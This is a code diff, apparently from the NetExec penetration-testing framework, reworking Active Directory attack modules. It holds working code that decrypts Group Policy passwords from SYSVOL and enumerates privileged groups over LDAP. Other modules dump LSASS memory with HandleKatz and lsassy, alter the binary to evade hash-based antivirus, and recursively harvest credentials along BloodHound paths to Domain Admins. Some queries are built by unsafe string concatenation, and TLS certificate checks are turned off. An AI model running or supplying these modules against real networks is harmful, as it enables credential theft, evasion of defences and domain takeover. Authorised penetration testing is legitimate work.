cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
if cards:
for c in cards:
if c["IPAddress"].get("value"):
@@ -35,6 +28,6 @@ class NXCModule:
data.append(cards)
log_name = "network-connections-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+5 -10
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import xml.etree.ElementTree as ET
from io import BytesIO
@@ -14,8 +11,6 @@ class NXCModule:
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
@@ -30,7 +25,7 @@ class NXCModule:
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display("Found {}".format(path))
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -56,7 +51,7 @@ class NXCModule:
domains.append(attrs["value"])
if usernames or passwords:
context.log.success("Found credentials in {}".format(path))
context.log.highlight("Usernames: {}".format(usernames))
context.log.highlight("Domains: {}".format(domains))
context.log.highlight("Passwords: {}".format(passwords))
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+5 -13
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import xml.etree.ElementTree as ET
from Cryptodome.Cipher import AES
from base64 import b64decode
@@ -17,8 +14,6 @@ class NXCModule:
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
@@ -43,7 +38,7 @@ class NXCModule:
)
for path in paths:
context.log.display("Found {}".format(path))
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -57,10 +52,7 @@ class NXCModule:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.append("./Task/Properties")
sections.append("./ImmediateTask/Properties")
sections.append("./ImmediateTaskV2/Properties")
sections.append("./TaskV2/Properties")
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
@@ -88,11 +80,11 @@ class NXCModule:
password = self.decrypt_cpassword(props["cpassword"])
context.log.success("Found credentials in {}".format(path))
context.log.highlight("Password: {}".format(password))
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight("{}: {}".format(k, v))
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
+257
View File
@@ -0,0 +1,257 @@
import ssl
import ldap3
import re
from io import BytesIO
class NXCModule:
"""
Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
and resolving SIDs using LDAP.
"""
name = "gpp_privileges"
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
supported_protocols = ["smb"]
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-5-80-0": "All Services",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
def options(self, context, module_options):
"""NO_LDAP If set to True, disables LDAP queries for resolving SIDs."""
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
context.log.fail(f"Failed to list shares: {e}")
return
context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(context, connection)
context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.unbind()
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
privileges = {}
in_priv_section = False
for line in content.splitlines():
if line.strip() == "[Privilege Rights]":
in_priv_section = True
continue
if in_priv_section and line.strip() == "":
break
if in_priv_section:
match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
if match:
privilege, sids = match.groups()
privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
return privileges
def initialize_ldap_connection(self, context, connection):
"""
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection and ldap_connection.bound:
try:
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
attributes=["sAMAccountName"],
)
if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except Exception as e:
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
else:
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
return sid
+95
View File
@@ -0,0 +1,95 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
import sys
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
"""
name = "group-mem"
description = "[REMOVED] Retrieves all the members within a Group"
supported_protocols = ["ldap"]
primaryGroupID = ""
answers = []
def options(self, context, module_options):
r"""
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
"""
self.GROUP = ""
if "GROUP" in module_options:
self.GROUP = module_options["GROUP"]
else:
context.log.error("GROUP option is required!")
sys.exit(1)
def on_login(self, context, connection):
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
search_result = do_search(self, context, connection, search_filter, attribute)
# If no SID for the Group is returned exit the program
if search_result is None:
context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
return True
# Convert the binary SID to a primaryGroupID string to be used further
sid_string = connection.sid_to_str(search_result).split("-")
self.primaryGroupID = sid_string[-1]
# Look up the groups DN
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "distinguishedName"
distinguished_name = (do_search(self, context, connection, search_filter, attribute)).decode("utf-8")
# Carry out the search
search_filter = "(|(memberOf=" + distinguished_name + ")(primaryGroupID=" + self.primaryGroupID + "))"
attribute = "sAMAccountName"
search_result = do_search(self, context, connection, search_filter, attribute)
if len(self.answers) > 0:
context.log.success("Found the following members of the " + self.GROUP + " group:")
for answer in self.answers:
context.log.highlight(f"{answer[0]}")
# Carry out an LDAP search for the Group with the supplied Group name
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
attribute_value = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == attributeName:
if attributeName in ["objectSid", "distinguishedName"]:
return bytes(attribute["vals"][0])
else:
attribute_value = str(attribute["vals"][0])
if attribute_value is not None:
self.answers.append([attribute_value])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e}")
except Exception as e:
context.log.debug(f"Exception: {e}")
return False
-100
View File
@@ -1,100 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class NXCModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
'''
name = 'group-mem'
description = 'Retrieves all the members within a Group'
supported_protocols = ['ldap']
opsec_safe = True
multiple_hosts = False
primaryGroupID = ''
answers = []
def options(self, context, module_options):
'''
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
'''
self.GROUP = ''
if 'GROUP' in module_options:
self.GROUP = module_options['GROUP']
else:
context.log.error('GROUP option is required!')
exit(1)
def on_login(self, context, connection):
#First look up the SID of the group passed in
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
searchResult = doSearch(self, context, connection, searchFilter, attribute)
#If no SID for the Group is returned exit the program
if searchResult is None:
context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
return True
# Convert the binary SID to a primaryGroupID string to be used further
sidString = connection.sid_to_str(searchResult).split("-")
self.primaryGroupID = sidString[-1]
#Look up the groups DN
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "distinguishedName"
distinguishedName = (doSearch(self, context, connection, searchFilter, attribute)).decode("utf-8")
# Carry out the search
searchFilter = "(|(memberOf="+distinguishedName+")(primaryGroupID="+self.primaryGroupID+"))"
attribute = "sAMAccountName"
searchResult = doSearch(self, context, connection, searchFilter, attribute)
if len(self.answers) > 0:
context.log.success('Found the following members of the ' + self.GROUP + ' group:')
for answer in self.answers:
context.log.highlight(u'{}'.format(answer[0]))
# Carry out an LDAP search for the Group with the supplied Group name
def doSearch(self,context, connection,searchFilter,attributeName):
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=[attributeName],
sizeLimit=0)
context.log.debug('Total no. of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
attributeValue = '';
try:
for attribute in item['attributes']:
if str(attribute['type']) == attributeName:
if attributeName == "objectSid":
attributeValue = bytes(attribute['vals'][0])
return attributeValue;
elif attributeName == "distinguishedName":
attributeValue = bytes(attribute['vals'][0])
return attributeValue;
else:
attributeValue = str(attribute['vals'][0])
if attributeValue is not None:
self.answers.append([attributeValue])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
except Exception as e:
context.log.debug("Exception:", e)
return False
+12 -25
View File
@@ -1,8 +1,6 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import sys
class NXCModule:
@@ -17,32 +15,27 @@ class NXCModule:
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
USER Choose a username to query group membership
"""
"""USER Choose a username to query group membership"""
self.user = ""
if "USER" in module_options:
if module_options["USER"] == "":
context.log.fail("Invalid value for USER option!")
exit(1)
sys.exit(1)
self.user = module_options["USER"]
else:
context.log.fail("Missing USER option, use --options to list available parameters")
exit(1)
sys.exit(1)
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
# Building the search filter
searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user)
searchFilter = f"(&(objectClass=user)(sAMAccountName={self.user}))"
try:
context.log.debug("Search Filter=%s" % searchFilter)
resp = connection.ldapConnection.search(
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
@@ -53,7 +46,6 @@ class NXCModule:
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
context.log.debug(e)
return False
@@ -61,7 +53,7 @@ class NXCModule:
memberOf = []
primaryGroupID = ""
context.log.debug("Total of records returned %d" % len(resp))
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
@@ -75,16 +67,12 @@ class NXCModule:
if str(primaryGroupID) == "513":
memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX")
elif str(attribute["type"]) == "memberOf":
for group in attribute["vals"]:
if isinstance(group._value, bytes):
memberOf.append(str(group))
memberOf += [str(group) for group in attribute["vals"] if isinstance(group._value, bytes)]
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(memberOf) > 0:
context.log.success("User: {} is member of following groups: ".format(self.user))
context.log.success(f"User: {self.user} is member of following groups: ")
for group in memberOf:
# Split the string on the "," character to get a list of the group name and parent group names
group_parts = group.split(",")
@@ -93,5 +81,4 @@ class NXCModule:
# and splitting it on the "=" character to get a list of the group name and its prefix (e.g., "CN")
group_name = group_parts[0].split("=")[1]
# print("Group name: %s" % group_name)
context.log.highlight("{}".format(group_name))
context.log.highlight(f"{group_name}")
+35 -25
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# handlekatz module for nxc python3
# author of the module : github.com/mpgn
# HandleKatz: https://github.com/codewhitesec/HandleKatz
@@ -8,25 +5,23 @@
import base64
import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from pypykatz.pypykatz import pypykatz
class NXCModule:
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
"""
r"""
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/)
HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH)
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
@@ -37,6 +32,8 @@ class NXCModule:
self.handlekatz_path = "/tmp/"
self.dir_result = self.handlekatz_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -52,12 +49,19 @@ class NXCModule:
self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
handlekatz.write(self.handlekatz_embeded)
try:
with open(handlekatz_loc, "wb") as handlekatz:
handlekatz.write(self.handlekatz_embeded)
except FileNotFoundError:
context.log.fail(f"Handlekatz file specified '{handlekatz_loc}' does not exist!")
sys.exit(1)
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
with open(handlekatz_loc, "rb") as handlekatz:
try:
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}")
@@ -73,7 +77,8 @@ class NXCModule:
p = p[0]
if not p or p == "None":
context.log.fail(f"Failed to execute command to get LSASS PID")
context.log.fail("Failed to execute command to get LSASS PID")
self.delete_handlekatz_binary(connection, context)
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@@ -92,12 +97,15 @@ class NXCModule:
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
if dump:
if not dump:
self.delete_handlekatz_binary(connection, context)
return
else:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
if not matches:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
return
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
@@ -109,29 +117,24 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
self.delete_handlekatz_binary()
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb")
h_out = open(self.dir_result + machine_name + ".decode", "wb")
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)]
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(0, len(chunk)):
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
@@ -177,4 +180,11 @@ class NXCModule:
if len(credz_bh) > 0:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail("Error opening dump file", str(e))
context.log.fail(f"Error opening dump file: {e}")
def delete_handlekatz_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
+28 -36
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Peter Gormington (@hackerm00n on Twitter)
import logging
from sqlite3 import connect
@@ -12,7 +10,6 @@ from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
credentials_data = []
admin_results = []
found_users = []
reported_da = []
@@ -24,9 +21,9 @@ def neo4j_conn(context, connection, driver):
session = driver.session()
list(session.run("MATCH (g:Group) return g LIMIT 1"))
context.log.display("Connection Successful!")
except AuthError as e:
except AuthError:
context.log.fail("Invalid credentials")
except ServiceUnavailable as e:
except ServiceUnavailable:
context.log.fail("Could not connect to neo4j database")
except Exception as e:
context.log.fail("Error querying domain admins")
@@ -37,15 +34,14 @@ def neo4j_conn(context, connection, driver):
def neo4j_local_admins(context, driver):
global admin_results
try:
session = driver.session()
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
context.log.success("Admins and PCs obtained.")
except Exception:
context.log.fail("Could not pull admins")
exit()
admin_results = [record for record in admins.data()]
context.log.success("Admins and PCs obtained")
except Exception as e:
context.log.fail(f"Could not pull admins: {e}")
return None
return list(admins.data())
def create_db(local_admins, dbconnection, cursor):
@@ -69,16 +65,12 @@ def create_db(local_admins, dbconnection, cursor):
if user not in admin_users:
admin_users.append(user)
for user in admin_users:
cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user])
cursor.execute("INSERT OR IGNORE INTO admin_users(username) VALUES(?)", [user])
dbconnection.commit()
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
if connection.args.local_auth:
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -89,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -103,17 +95,17 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = [record for record in path_to_da.data()]
paths = list(path_to_da.data())
for path in paths:
if path:
for key, value in path.items():
for value in path.values():
for item in value:
if type(item) == dict:
if isinstance(item, dict):
if {item["name"]} not in reported_da:
context.log.success(f"You have a valid path to DA as {item['name']}.")
reported_da.append({item["name"]})
@@ -138,8 +130,6 @@ class NXCModule:
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -147,15 +137,17 @@ class NXCModule:
self.reset = None
self.reset_dumped = None
self.method = None
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_computers(connection.host)[0][0]
host_id = context.db.get_hosts(connection.host)[0][0]
if password is not None:
credential_type = 'plaintext'
credential_type = "plaintext"
else:
credential_type = 'hash'
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
credential_type = "hash"
password = ":".join(h for h in [lmhash, nthash] if h is not None)
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy
@@ -173,7 +165,7 @@ class NXCModule:
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
# so what we do is define "success" as a logging level, then do nothing with the output
logging.addLevelName(25, "SUCCESS")
setattr(logging, "success", lambda message, *args: ())
logging.success = lambda message, *args: ()
host = connection.host
domain_name = connection.domain
@@ -198,13 +190,13 @@ class NXCModule:
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
context.log.fail("Unable to load dump method '{}'".format(self.method))
context.log.fail(f"Unable to load dump method '{self.method}'")
return False
file = dumper.dump()
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(file).parse()
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
@@ -247,10 +239,10 @@ class NXCModule:
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
